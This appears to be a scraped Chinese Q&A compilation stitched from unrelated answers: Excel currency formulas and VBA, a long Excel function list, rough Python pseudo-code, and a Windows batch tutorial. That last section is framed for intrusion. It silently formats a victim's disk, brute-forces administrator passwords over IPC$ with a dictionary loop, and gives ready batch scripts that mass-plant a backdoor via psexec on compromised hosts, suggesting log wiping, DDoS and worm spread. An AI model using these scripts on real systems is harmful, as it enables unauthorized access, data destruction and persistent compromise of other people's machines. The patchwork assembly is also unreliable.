find數字貨幣
A. imToken錢包裡面突然多出來一種這個幣,findtherabbit.me 請問這是什麼幣
空投幣
沒啥價值
B. EXCEL裡面的格子格式自動生成為貨幣形式
把VBA代碼加入OPEN事件就可以完成,方法如下
alt+f11 打開代碼頁
2. 左邊找到ThisWorkbook,雙擊它
3. 左邊下拉列表分別選擇Workbook和右邊的Open
4. 在下面加入代碼
----------------------------------------代碼區---------------------------------------------
'如果不是第1個表,則把1改為"表名,如sheets(1)改為sheets("表名")
cl = Sheets(1).UsedRange.Find("Count", , , , 1).Column
px = Sheets(1).Cells(1, cl).Address
ra = Split(px, "$")(1)
Sheets(1).Range(ra & ":" & ra).NumberFormatLocal = "$#,##0;-$#,##0"
----------------------------------------代碼區---------------------------------------------
如下面所示:
如果不是第1個表,則要把代碼里的把1改為"表名",如:sheets(1)改為sheets("表名")
C. 將單元格內的貨幣數字跟日期分離出來的函數
由於後面部分的長度固定為19位,可以用LEFT取前面、RIGHT取後面部分,公式分別見下圖:
D. python小問題
給出簡單代碼,具體的函數自己查下
while1:
value=input()
ifvalue.startwith(RMB)
v_rmb=value.截取RMB後面的數字
v_float=v_rmb.轉換為浮點數
匯率換算成USD
輸出
else
v_usd=value.截取USD後面數字
v_float=v_usd.轉換浮點數
匯率換算RMB
輸出
E. excel表中判斷幾個單元格有無某數值,並返回一個數值
假如判斷G1到L1,如果有n就顯示n,如果沒有n就顯示空白
A1輸入
=if(countif(G1:L1, n),n,"")
n為具體的某數值。
F. EXCEL中FIND函數的用法
EXCEL中FIND函數的具體操作方法如下:
1、函數的格式:find(find_text,within_text,start_num),功能:within_text所示的字元串中,從左邊第start_num個字元開展,查找find_text所示的子字元串。
G. EXCEL問題
這個就太多了,實際工作時,建議參考http://office.microsoft.com/zh-cn/assistance/CH790018022052.aspx進行相關學習:
資料庫工作表函數
Microsoft Excel 中包含了一些工作表函數,用於對存儲在列表或資料庫中的數據進行分析,這些函數統稱為 Dfunctions,每個函數均有三個參數:database、field 和 criteria。這些參數指向函數所使用的工作表區域。
DAVERAGE 返回選擇的資料庫條目的平均值
DCOUNT 計算資料庫中包含數字的單元格個數
DCOUNTA 計算資料庫中的非空單元格
DGET 從資料庫提取符合指定條件的單個記錄
DMAX 返回選擇的資料庫條目的最大值
DMIN 返回選擇的資料庫條目的最小值
DPRODUCT 將資料庫中符合條件的記錄的特定欄位中的值相乘
DSTDEV 基於選擇的資料庫條目的樣本估算標准偏差
DSTDEVP 基於選擇的資料庫條目的總體計算標准偏差
DSUM 將資料庫中符合條件的記錄的欄位列中的數字相加
DVAR 基於選擇的資料庫條目的樣本估算方差
DVARP 基於選擇的資料庫條目的樣本總體計算方差
GETPIVOTDATA 返回存儲在數據透視表中的數據
日期與時間函數
DATE 返回特定日期的序列號
DATEVALUE 將文本格式的日期轉換為序列號
DAY 將序列號轉換為月的日期
DAYS360 計算基於一年 360 天的兩個日期間的天數
EDATE 返回用於表示開始日期之前或之後月數的日期的序列號
EOMONTH 返回指定個數月之前或之後的月的末日的序列號
HOUR 將序列號轉換為小時
MINUTE 將序列號轉換為分鍾
MONTH 將序列號轉換為月
NETWORKDAYS 返回兩個日期之間的所有工作日個數
NOW 返回當前日期和時間的序列號
SECOND 將序列號轉換為秒
TIME 返回特定時間的序列號
TIMEVALUE 將文本格式的時間轉換為序列號
TODAY 返回今天日期的序列號
WEEKDAY 將序列號轉換為一星期的某天
WEEKNUM 將序列號轉換為代表該星期為一年中的第幾周的數字
WORKDAY 返回指定個數工作日之前或之後日期的序列號
YEAR 將序列號轉換為年
YEARFRAC 返回代表 start_date 和 end_date 之間的天數的年分數
外部函數
這些函數使用載入項 (載入項:為 Microsoft Office 提供自定義命令或自定義功能的補充程序。)程序載入
EUROCONVERT 將數字轉換為歐元形式,將數字由歐元形式轉換為歐盟成員國貨幣形式,或利用歐元作為中間貨幣將數字由某一歐盟成員國貨幣轉化為另一歐盟成員國貨幣的形式(三角轉換關系)。
SQL.REQUEST 連接到一個外部的數據源並從工作表中運行查詢,然後將查詢結果以數組的形式返回,無需進行宏編程。
工程函數
BESSELI 返回已修改的 Bessel 函數 In(x)
BESSELJ 返回 Bessel 函數 Jn(x)
BESSELK 返回已修改的 Bessel 函數 Kn(x)
BESSELY 返回 Bessel 函數 Yn(x)
BIN2DEC 將二進制數轉換為十進制數
BIN2HEX 將二進制數轉換為十六進制數
BIN2OCT 將二進制數轉換為八進制數
COMPLEX 將實系數和虛系數轉換為復數
CONVERT 將數字從一個度量系統轉換為另一個度量系統
DEC2BIN 將十進制數轉換為二進制數
DEC2HEX 將十進制數轉換為十六進制數
DEC2OCT 將十進制數轉換為八進制數
DELTA 檢驗是否兩個值相等
ERF 返回錯誤函數
ERFC 返回互補錯誤函數
GESTEP 檢驗數字是否大於閾值
HEX2BIN 將十六進制數轉換為二進制數
HEX2DEC 將十六進制數轉換為十進制數
HEX2OCT 將十六進制數轉換為八進制數
IMABS 返回復數的的絕對值(模數)
IMAGINARY 返回復數的虛系數
IMARGUMENT 返回參數 theta,即以弧度表示的角
IMCONJUGATE 返回復數的共軛復數
IMCOS 返回復數的餘弦
IMDIV 返回兩個復數的商
IMEXP 返回復數的指數
IMLN 返回復數的自然對數
IMLOG10 返回復數的以 10 為底的對數
IMLOG2 返回復數的以 2 為底的對數
IMPOWER 返回整數次冪的復數
IMPRODUCT 返回兩個復數的積
IMREAL 返回復數的實系數
IMSIN 返回復數的正弦
IMSQRT 返回復數的平方根
IMSUB 返回兩個復數的差
IMSUM 返回多個復數的和
OCT2BIN 將八進制數轉換為二進制數
OCT2DEC 將八進制數轉換為十進制數
OCT2HEX 將八進制數轉換為十六進制數
財務函數
ACCRINT 返回定期付息有價證券的應計利息
ACCRINTM 返回到期一次性付息有價證券的應計利息
AMORDEGRC 返回使用折舊系數的每個結算期間的折舊值
AMORLINC 返回每個結算期間的折舊值
COUPDAYBS 返回當前付息期內截止到成交日的天數
COUPDAYS 返回包含成交日所在的付息期的天數
COUPDAYSNC 返回從成交日到下一付息日之間的天數
COUPNCD 返回成交日之後的下一個付息日
COUPNUM 返回成交日和到期日之間的付息次數
COUPPCD 返回成交日之前的前一個的付息日
CUMIPMT 返回兩個期間內累計支付的利息
CUMPRINC 返回一筆貸款在兩個期間內累計償還的本金數額
DB 使用固定余額遞減法,返回一筆資產在給定期間內的折舊值
DDB 使用雙倍余額遞減法或其他指定方法,返回一筆資產在給定期間內的折舊值
DISC 返回有價證券的貼現率
DOLLARDE 將按分數表示的價格轉換為按小數表示的價格
DOLLARFR 將按小數表示的價格轉換為按分數表示的價格
DURATION 返回定期付息有價證券的每年期限
EFFECT 返回實際年利率
FV 返回一筆投資的未來值
FVSCHEDULE 返回應用一系列復利率後的本金的未來值
INTRATE 返回一次性付息有價證券的利率
IPMT 返回一筆投資在給定期間內支付的利息
IRR 返回一系列現金流的內部收益率
ISPMT 計算特定投資期內要支付的利息
MDURATION 返回假設面值 $100 的有價證券的 Macauley 修正期限
MIRR 返回正和負現金流以不同利率進行計算的內部收益率
NOMINAL 返回年名義利率
NPER 返回投資期間的數量
NPV 返回基於一系列定期現金流和貼現率計算的投資的現凈值
ODDFPRICE 返回首期付息日不固定的面值 $100 的有價證券價格
ODDFYIELD 返回首期付息日不固定的有價證券的收益率
ODDLPRICE 返回末期付息日不固定的面值 $100 的有價證券價格
ODDLYIELD 返回末期付息日不固定的有價證券的收益率
PMT 返回年金的定期支付金額
PPMT 返回一筆投資在給定期間內償還的本金
PRICE 返回定期付息的面值 $100 的有價證券的價格
PRICEDISC 返回折價發行的面值 $100 的有價證券的價格
PRICEMAT 返回到期付息的面值 $100 的有價證券的價格
PV 返回投資的現值
RATE 返回年金的各期利率
RECEIVED 返回一次性付息的有價證券到期收回的金額
SLN 返回一筆資產在某個期間內的線性折舊值
SYD 返回一筆資產按年限總和折舊法計算的指定期間的折舊值
TBILLEQ 返回國庫券的等效收益率
TBILLPRICE 返回面值 $100 的國庫券的價格
TBILLYIELD 返回國庫券的收益率
VDB 使用余額遞減法,返回一筆資產在給定期間或部分期間內的折舊值
XIRR 返回一組不定期發生的現金流的內部收益率
XNPV 返回一組不定期發生的現金流的凈現值
YIELD 返回定期付息有價證券的收益率
YIELDDISC 返回折價發行的有價證券(如國庫券)的年收益率
YIELDMAT 返回到期付息的有價證券的年收益率
信息函數
CELL 返回單元格的格式、位置或內容等信息
ERROR.TYPE 返回相應錯誤類型的個數
INFO 返回有關當前操作環境的信息
ISBLANK 如果值為空,則返回 TRUE
ISERR 如果值為除 #N/A 以外的任何錯誤值,則返回 TRUE
ISERROR 如果值為任何錯誤值,則返回 TRUE
ISEVEN 如果數字為偶數,則返回 TRUE
ISLOGICAL 如果值為邏輯值,則返回 TRUE
ISNA 如果值為 #N/A 錯誤值,則返回 TRUE
ISNONTEXT 如果值不為文本,則返回 TRUE
ISNUMBER 如果值為數字,則返回 TRUE
ISODD 如果數字為奇數,則返回 TRUE
ISREF 如果值為引用值,則返回 TRUE
ISTEXT 如果值為文本,則返回 TRUE
N 返回轉換為數字的值
NA 返回錯誤值 #N/A
TYPE 返回表示值的數據類型的數字
邏輯運算符
AND 如果其所有參數為 TRUE,則返回 TRUE
FALSE 返回邏輯值 FALSE
IF 指定要執行的邏輯檢驗
NOT 對其參數的邏輯求反
OR 如果所有參數為 TRUE,則返回 TRUE
TRUE 返回邏輯值 TRUE
查找和引用函數
ADDRESS 以文本形式將引用值返回工作表的單個單元格
AREAS 返回引用值中包含的區域個數
CHOOSE 從一列值中選擇值
COLUMN 返回引用的列個數
COLUMNS 返回引用中包含的列個數
HLOOKUP 查找數組的首行,並返回特定單元格的值
HYPERLINK 創建一個快捷方式或跳轉,用以打開存儲在網路伺服器、Intranet 或 Internet 中的文件
INDEX 使用索引從引用或數組選擇值
INDIRECT 返回由文本值指定的引用
LOOKUP 在向量或數組中查找值
MATCH 在引用值或數組中查找值
OFFSET 從給定引用值返回引用偏移量
ROW 返回引用的行個數
ROWS 返回引用中包含的行個數
RTD 從支持 COM 自動化 (自動化:從其他應用程序或開發工具使用應用程序的對象的方法。以前稱為「OLE 自動化」,自動化是一種工業標准和組件對象模型 (COM) 功能。)的程序中返回實時數據
TRANSPOSE 返回數組的轉置
VLOOKUP 查找數組首列,移動到行並返回單元格的值
數學和三角函數
ABS 返回數字的絕對值
ACOS 返回數字的反餘弦值
ACOSH 返回數字的反雙曲餘弦值
ASIN 返回數字的反正弦值
ASINH 返回數字的反雙曲正弦值
ATAN 返回數字的反正切值
ATAN2 返回 X 和 Y 坐標的反正切值
ATANH 返回數字的反雙曲正切值
CEILING 將數字舍入為最接近的整數或最接近的 Significance 的倍數
COMBIN 返回給定數目對象的組合數
COS 返回數字的餘弦
COSH 返回數字的雙曲餘弦值
DEGREES 將弧度轉換為度
EVEN 將數字向上舍入為最接近的偶數
EXP 返回 e 的給定數字次冪
FACT 返回數字的階乘
FACTDOUBLE 返回數字的雙倍階乘
FLOOR 向絕對值減小的方向舍入數字
GCD 返回最大公約數
INT 將數字向下舍入到最接近的整數
LCM 返回最小公倍數
LN 返回數字的自然對數
LOG 按所指定的底數,返回數字的對數
LOG10 返回數字的以 10 為底的對數
MDETERM 返回數組的矩陣行列式的值
MINVERSE 返回數組的逆矩陣
MMULT 返回兩個數組的矩陣乘積
MOD 返回除法的余數
MROUND 返回舍入到指定倍數的數值
MULTINOMIAL 返回一組數字的多項式
ODD 將數字向上舍入為最接近的奇數
PI 返回 pi 的值
POWER 返回給定數字次冪的結果
PRODUCT 將其參數相乘
QUOTIENT 返回除法的整數部分
RADIANS 將角度轉換為弧度
RAND 返回 0 和 1 之間的一個隨機數
RANDBETWEEN 返回指定數字間的隨機數
ROMAN 將阿拉伯數字轉換為文本形式的羅馬數字
ROUND 將數字按指定位數舍入
ROUNDDOWN 向絕對值減小的方向舍入數字
ROUNDUP 向絕對值增大的方向舍入數字
SERIESSUM 返回基於以下公式的冪級數之和
SIGN 返回數字的符號
SIN 返回給定角度的正弦值
SINH 返回數字的雙曲正弦值
SQRT 返回正平方根
SQRTPI 返回某數與 pi 的乘積的平方根
SUBTOTAL 返回列表或資料庫中的分類匯總
SUM 將其參數相加
SUMIF 按給定條件對若干單元格求和
SUMPRODUCT 返回對應的數組元素的乘積和
SUMSQ 返回參數的平方和
SUMX2MY2 返回兩個數組中對應值的平方差之和
SUMX2PY2 返回兩個數組中對應值的平方和之和
SUMXMY2 返回兩數組中對應值的平方差的之和
TAN 返回數字的正切
TANH 返回數字的雙曲正切值
TRUNC 將數字截尾取整
統計函數
AVEDEV 返回數據點與它們的平均值的絕對偏差平均值
AVERAGE 返回其參數的平均值
AVERAGEA 返回其參數的平均值,包括數字、文本和邏輯值
BETADIST 返回 Beta 累積分布函數
BETAINV 返回指定 Beta 分布的累積分布函數的反函數
BINOMDIST 返回一元二項式分布的概率值
CHIDIST 返回 γ2 分布的單尾概率
CHIINV 返回 γ2 分布的單尾概率的反函數
CHITEST 返回獨立性檢驗值
CONFIDENCE 返回總體平均值的置信區間
CORREL 返回兩個數據集之間的相關系數
COUNT 計算參數列表中的數字個數
COUNTA 計算參數列表中的數值個數
COUNTBLANK 計算區間內的空白單元格個數
COUNTIF 計算滿足給定條件的區間內的非空單元格個數
COVAR 返回協方差,成對偏差乘積的平均值
CRITBINOM 返回使累積二項式分布小於或等於臨界值的最小值
DEVSQ 返回偏差的平方和
EXPONDIST 返回指數分布
FDIST 返回 F 概率分布
FINV 返回 F 概率分布的反函數值
FISHER 返回 Fisher 變換
FISHERINV 返回 Fisher 變換的反函數值
FORECAST 返回沿線性趨勢的值
FREQUENCY 以垂直數組的形式返回頻率分布
FTEST 返回 F 檢驗的結果
GAMMADIST 返回伽瑪分布
GAMMAINV 返回伽瑪累積分布函數的反函數
GAMMALN 返回伽瑪函數的自然對數,Γ(x)
GEOMEAN 返回幾何平均值
GROWTH 返回沿指數趨勢的值
HARMEAN 返回調和平均值
HYPGEOMDIST 返回超幾何分布
INTERCEPT 返回線性回歸線的截距
KURT 返回數據集的峰值
LARGE 返回數據集中第 k 個最大值
LINEST 返回線性趨勢的參數
LOGEST 返回指數趨勢的參數
LOGINV 返回對數分布函數的反函數
LOGNORMDIST 返回對數累積分布函數
MAX 返回參數列表中的最大值
MAXA 返回參數列表中的最大值,包括數字、文本和邏輯值
MEDIAN 返回給定數值集合的中值
MIN 返回參數列表中的最小值
MINA 返回參數列表中的最小值,包括數字、文本和邏輯值
MODE 返回在數據集中出現次數最多的值
NEGBINOMDIST 返回負二項式分布
NORMDIST 返回正態累積分布
NORMINV 返回正態累積分布的反函數
NORMSDIST 返回標准正態累積分布
NORMSINV 返回標准正態累積分布的反函數
PEARSON 返回 Pearson 乘積矩相關系數
PERCENTILE 返回區域中數值的第 K 個百分點的值
PERCENTRANK 返回數據集中的值的百分比排位
PERMUT 返回給定數目對象的排列數量
POISSON 返回泊松分布
PROB 返回區域中的數值落在指定區間內的概率
QUARTILE 返回數據集的四分位數
RANK 返回一列數字的數字排位
RSQ 返回 Pearson 乘積矩相關系數的平方
SKEW 返回分布的偏斜度
SLOPE 返回線性回歸線的斜率
SMALL 返回數據集中第 K 個最小值
STANDARDIZE 返回正態化數值
STDEV 估算基於給定樣本的標准偏差
STDEVA 估算基於給定樣本(包括數字、文本和邏輯值)的標准偏差
STDEVP 計算基於給定的樣本總體的標准偏差
STDEVPA 計算基於總體(包括數字、文本和邏輯值)的標准偏差
STEYX 返回通過線性回歸法計算每個 x 的 y 預測值時所產生的標准誤差
TDIST 返回學生的 t 分布
TINV 返回學生的 t 分布的反函數
TREND 返回沿線性趨勢的值
TRIMMEAN 返回數據集的內部平均值
TTEST 返回與學生的 t 檢驗相關的概率
VAR 估算基於樣本的方差
VARA 估算基於樣本(包括數字、文本和邏輯值)的方差
VARP 計算基於樣本總體的方差
VARPA 計算基於樣本總體(包括數字、文本和邏輯值)的方差
WEIBULL 返回韋伯分布
ZTEST 返回 z 檢驗的單尾概率值
文本和數據函數
ASC 將字元串中的全形(雙位元組)英文字母或片假名更改為半形(單位元組)字元
BAHTTEXT 使用 ß(泰銖)貨幣格式將數字轉換成文本
CHAR 返回代碼數字所對應的字元
CLEAN 刪除文本中不可列印的字元
CODE 返迴文本字元串中第一個字元的數字代碼
CONCATENATE 將幾個文本項合並為一個文本項
DOLLAR 使用 $(美元)貨幣格式將數字轉換成文本
EXACT 檢查兩個文本值是否相同
FIND 在一個文本值中查找另一個文本值(區分大小寫)
FIXED 將數字格式設置為具有固定小數位數
JIS 將字元串中的半形(單位元組)英文字母或片假名更改為全形(雙位元組)字元
LEFT 返迴文本值中最左邊的字元
LEN 返迴文本字元串中的字元個數
LOWER 將文本轉換為小寫
MID 在文本字元串中,從您所指定的位置開始返回指定數量的字元
PHONETIC 提取文本字元串中的拼音 (furigana) 字元
PROPER 將文本值的每個字的首字母大寫
REPLACE 替換文本中的字元
REPT 按照給定的次數重復顯示文本
RIGHT 返迴文本值中最右邊的字元
SEARCH 在一個文本值中查找另一個文本值(不區分大小寫)
SUBSTITUTE 在文本字元串中用新文本替換舊文本
T 將其參數轉換為文本
TEXT 設置數字格式並將其轉換為文本
TRIM 從文本刪除空格
UPPER 將文本轉換成大寫形式
VALUE 將文本參數轉換為數字
H. 如何在excel將數字從貨幣符號中分解出來
如果其中有空格可以用分列的方法將其分開為兩列。
如果沒有空格,也沒有規律可以用以下公式提取:
=-LOOKUP(,-MID(A1,MIN(FIND({0;1;2;3;4;5;6;7;8;9},A1&1234567890)),ROW($1:$1024)))
I. excel中,單元格內數字如百萬位為0,則顯示人民幣符號,如百萬位不為0,則顯示該數字,怎麼寫公式
雖然沒見過你這種用法的,但是既然你要求了,就按你的要求給你公式。
公式為:
=IF(FIND(".",A1)=8,A1,"¥"&A1)
如圖所示:
J. bat命令、全一點的、給加分
一.簡單批處理內部命令簡介 1.Echo 命令 打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。 語法 echo [{onoff}] [message] Sample:@echo off / echo hello world 在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。 2.@ 命令 表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。) 3.Goto 命令 指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。 語法:goto label (label是參數,指定所要轉向的批處理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。 4.Rem 命令 注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 運行 Pause 命令時,將顯示下面的消息: Press any key to continue . . . Sample: @echo off :begin a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令 從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。 語法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 參數 [Drive:}[Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。 7.start 命令 調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。 入侵常用參數: MIN 開始時窗口最小化 SEPARATE 在分開的空間內開始 16 位 Windows 程序 HIGH 在 HIGH 優先順序類別開始應用程序 REALTIME 在 REALTIME 優先順序類別開始應用程序 WAIT 啟動應用程序並等候它結束 parameters 這些為傳送到命令/程序的參數 執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。 8.choice 命令 choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234…… 如: choice /c:dme defrag,mem,end 將顯示 defrag,mem,end[D,M,E]? Sample: Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。 9.If 命令 if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式: 1、if "參數" == "字元串" 待執行的命令 參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待執行的命令 如果有指定的文件,則條件成立,運行命令,否則運行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 數字 待執行的命令 如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。 如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令 for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。 在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable for {%variable%%variable} in (set) do command [ CommandLineOptions] %variable 指定一個單一字母可替換的參數。 (set) 指定一個或一組文件。可以使用通配符。 command 指定對每個文件執行的命令。 command-parameters 為特定命令指定參數或命令行開關。 在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable 而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I 如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。 FOR /L %variable IN (start,step,end) DO command [command-para 該集表示以增量形式從開始到結束的一個數字序列。 因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 選項: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 為一個或多個文件名。繼續到 filenameset 中的 下一個文件之前,每份文件都已被打開、讀取並經過處理。 處理包括讀取文件,將其分成一行行的文字,然後將每行 解析成零或更多的符號。然後用已找到的符號字元串變數值 調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開 的第一個空白符號。跳過空白行。您可通過指定可選 "options" 參數替代默認解析操作。這個帶引號的字元串包括一個或多個 指定不同解析選項的關鍵字。這些關鍵字為: eol=c - 指一個行注釋字元的結尾(就一個) skip=n - 指在文件開始時忽略的行數。 delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的 默認分隔符集。 tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代 的 for 本身。這會導致額外變數名稱的 格式為一個范圍。通過 nth 符號指定 m 符號字元串中的最後一個字元星號, 那麼額外的變數將在最後一個符號解析之 分配並接受行的保留文本。 usebackq - 指定新語法已在下類情況中使用: 在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。
sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字元串的。 %i 專門在 for 語句中得到說明,%j 和 %k 是通過 tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的同時不能有 52 個以上都在使用中。 您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。這樣,該字元串會被當作一個文件中的一個單一輸入行。 最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 會枚舉當前環境中的環境變數名稱。 另外,FOR 變數參照的替換已被增強。您現在可以使用下列 選項語法: ~I - 刪除任何引號("),擴充 %I %~fI - 將 %I 擴充到一個完全合格的路徑名 %~dI - 僅將 %I 擴充到一個驅動器號 %~pI - 僅將 %I 擴充到一個路徑 %~nI - 僅將 %I 擴充到一個文件名 %~xI - 僅將 %I 擴充到一個文件擴展名 %~sI - 擴充的路徑只含有短名 %~aI - 將 %I 擴充到文件的文件屬性 %~tI - 將 %I 擴充到文件的日期/時間 %~zI - 將 %I 擴充到文件的大小 %~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字元串 可以組合修飾符來得到多重結果: %~dpI - 僅將 %I 擴充到一個驅動器號和路徑 %~nxI - 僅將 %I 擴充到一個文件名和擴展名 %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名 %~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。 %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR 在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法 用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。 以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。 sample2: 利用For命令來實現對一台目標Win2k主機的暴力密碼破解。 我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。 最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"find ":命令成功完成">>D:\ok.txt ,這樣就ko了。 sample3: 你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。 主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。 而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。 delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。 代碼雛形: --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- --------------- cut here then save as a batchfile(I call it door.bat) ------------------ @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @pse*x*e*c \\%1 c:\winnt\system32\windrv32.exe @ps*e*x*e*c \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -
-------------- 這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PS*e*x*e*c.exe需放在統一目錄下.批處理內容 尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究。